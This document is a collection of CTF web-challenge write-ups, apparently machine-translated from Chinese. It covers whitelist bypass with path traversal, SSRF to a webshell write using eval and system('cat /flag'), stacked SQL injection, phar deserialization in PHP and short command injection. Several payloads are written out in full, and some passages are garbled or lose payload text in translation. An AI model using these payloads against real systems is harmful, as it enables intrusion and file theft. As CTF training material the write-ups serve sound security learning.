Web questions
hctf_2018_warmup
After opening it is a picture.
Check the source code to find the source.php
access and get a string of codes:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
Analyze it:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];#白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
#如果在白名单中,则返回true
return true;
}
$_page = mb_substr( #取?之前的内容赋给$_page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { #看$_page是否在白名单中
return true;
}
$_page = urldecode($page); #进行url编码
$_page = mb_substr( #取?之前的内容赋给$_page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
Among them, two whitelist detections and one Url encoding were performed. First passed in the string source
, hint
for testing.
Incoming source
found recurring source, indicating the presence of file read vulnerability,
passed hint
, find a string flag not here, and flag in /flaaagg
, suggesting that the flag /flaaagg中
can /flaaagg
not in the white list.
Need to bypass the whitelist.
The strings that must be passed in are: hint
or source
, and /flaaagg
, first pass in file=/flaaagg
, and found that it cannot be read,
think of the question mark in the filter, construct the parameter pass hint?/flaaagg
, pass in file=hint?/flaaagg
, and find no echo. It may be that the file does not exist, so there is no response.
Use ../
to cross directories, file=hint?../../../../../flaaagg
and you can get the flag.
Principle: The
?
previous content will be filtered by the whitelist, hint?..
treated as a directory, and not treated as a file.
ssrfme
Open the webpage to see the source code:
Analyze the source code:
the content of the incoming path cannot contain "...", and the content of the incoming file must start with'http://127.0.0.1/'.
Try to pass in file=http://127.0.0.1/&path=shell.php
Echo that the file was successfully written. Visit and see what's inside.
See, I wrote the content of index.php. Explain that you can write files, try to write phpinfo:
file=http://127.0.0.1/<?php phpinfo();?>&path=shell.php
The return is empty. Explain that there is no such file as <?php phpinfo();?>. You can only put the content to be written in the Path parameter, but the path must pass the file name. A bit contradictory.
Try it first:
file=http://127.0.0.1/?path=<?php phpinfo();?>&path=shell.php
Description is there after 127.0.0.1? There must be a file parameter. Continue to build
file=http://127.0.0.1/ &path=<?php phpinfo();?>&path=shell.php
Although the writing was successful, the phpinfo in the middle was not written. Continue to build
file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=shell.php
Explanation%26path=<?php phpinfo();?> This file does not exist (phpinfo is interpreted as a file name), continue to build:
file=http://127.0.0.1/?file=http://127.0.0.1/ %26path=<?php phpinfo(); ?>&path=shell.php
Successfully written to phpinfo. (The first file is passed in file=http://127.0.0.1/index.php, and the second file is passed in phpinfo. The second file is passed as a parameter to the first file.)
Write a sentence:
file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=<?php! @eval($_GET['cmd']); ?>&path=shell.php
cmd is passed into system('cat /flag'); you can get flag
Strong Net Cup 2019
Open the web page, which is an input box:
Enter 1, and submit:
See the returned array, test whether there is an injection point: enter 1'
Return an error.
Enter 1'#
Return to normal
Try to inject manually:
1. Enter 1'order by *, and the test can return several columns. After multiple attempts, * is 2, that is: 1'order by 2 can return to normal.
Try to enter select again to test the return point: 1'union select 1,2 #
See a lot of characters being filtered. Trying sqlmap can only expose the library named supersqli
to try stack injection
input: 1'; show databases; #
After seeing the returned library name,
take a look at the table names: 1';show tables; #
There are two tables: flag and words
respectively to see which columns are: 1';show columns from flagg #
Seeing that we want the flag column. Here is how to read the content inside.
Select is filtered and cannot be queried normally. Only query statements can be spliced:
-1';use supersqli;set @sql=concat('s','elect flag
from flagg
');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
Get the flag.
hitcon_2017_ssrfme
After opening the web page is a piece of code:
Seeing escapeshellarg, I thought of the command execution vulnerability. When escapeshellarg is in the parameter position, filtering will not work. In the penultimate line of file_put_contents, escapeshellarg is placed in the parameter position. Therefore, you can order execution.
The top code is to create a sandbox. And create a folder below. The folder name is orange plus the md5 value of the visitor's ip address. Ip address can be queried through ip138.
We first enter:?url=…/&filename=123
and then visit sandbox/8411192b0e571e9d15a9b3a080de90d0/123. You can see that the directory structure of .../ is returned:
So enter:?url=/&filename=123. Let it echo the root directory structure:
We saw the flag file. Is what we want to visit.
Continue typing:?url=/flag&filename=123
I got a picture, don’t know what it is, use curl to visit it:
Got the flag
n1ctf/hard_php
The open page is a login box with a verification code.
To perform a directory scan:
Find index.php~, visit:
You can see that the source code
Action parameter can access files, try.../.../.../.../etc/passwd to see if you can access through directories:
See you can visit, try again.../.../.../.../flag
Got the flag
hctf_cake_php
After opening the webpage, it is a login box. There is registration below. First, just register an account and log in. It is found that it is a network disk.
Try to upload the file and find that the suffix is filtered.
Click to download and capture the package:
modify the file name to'/var/www/html/index.php' and
find that the file can be downloaded. Download index.php first and view the source code.
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
In the source code, I also saw login.php and class.php downloaded separately, and check the source code:
Login.php:
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title>
<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">登录</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
<p class="text-muted">© 2018-2019</p>
</form>
<div class="top" id="toast-container"></div>
</body>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
Class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
Then download download.php and delete.php that you can see on the homepage, and check the source code:
Download.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
Delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
In download.php, the flag is filtered and cannot be viewed directly. And the directory is specified. /etc/tmp
In delete.php, the directory is specified as the root directory of the sandbox.
In class.php, the close method will include files.
The close method is called in download.php, but the flag is filtered, which is not easy to read. Being not.
The Filelist class in Class.php has two magic functions: function __call and function __destruct().
function __call will traverse the files data and execute func(). The result will be printed out through the __destruct() method.
There is a close method in the User class, and this method is executed when the object is destroyed.
Therefore, if you can create a user object, its db variable is a FileList object, and the file name in the object is the location of the flag. In this case, when the user object is destroyed, the close method of the db variable is executed; and the db variable does not have a close method, which will trigger the call magic method, and then become the close method of the File object. By analyzing the destructor method of the FileList class, we can know that the results in the results variable after the close method is executed will be added to the table variable and printed out, that is, the flag will be printed out.
Use phar for deserialization
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
Modify the suffix to jpg
, then upload the file, capture the package when deleting, and then modify the file name and execute, you can get the flag:
SCTF 2018_Simple PHP
After opening the webpage, it is a login box
The directory scan did not produce any results, and the use of sqlmpay did not result, and the admin blasting did not result. Finally, I tried the php pseudo-protocol. You can use the filter base64 to read the /flag file:
After Base64 decryption, you get the flag
2018_Netding Cup_Comment
Open the webpage and find it is a message board.
Try to post, need to log in:
According to the prompt, blast the password:
*** The location is 666,
try xss, to no avail:
Will filter, simply try to bypass it to no avail.
Try a second injection.
No results in the title position of the post.
Try the category position:
Reply in the message position */#
has no response.
Try the content position:
So there may be injection into the category
. Try again.
Enter in the message, 456*/#
you can see that the echo is 123 instead of the value just entered. There can be an echo. Try to read the database:
enter in the message: */#
you can see that the database is returned ctf
, and you can execute the sql statement.
Try to read the file and type
in the message: */#
you can see the flag
rcee
Open the web page, you can see that the source code
has command execution, but the length is less than 8.
First look for flag. First search in the root directory: enter?command=ls /
You can see that the flag is in the root directory.
Make a visit:
There is no echo. Because the space is treated %20
as 3 characters, the length of the command to be executed exceeds 8.
Use *
instead, enter: ?command=cat /f*
you can see that all the file contents of the f switch are displayed. You can also see the flag
sqli_double
Open the page to see the source code:
there are two pages, one is to modify the password (you need to know the user name and email), and the other is the login page.
Because we don’t know the user name and email
address , first try the login page: the echo prompts that the login failed, we don’t know whether the password or the user name is wrong, try to use sqlmap to blast:
you can see that the database type is mysql
explosion database:
Explosive table:
Explosive content:
Now that we know the user name and email address, we can modify the password. Log in after changing the password and you can see the flag: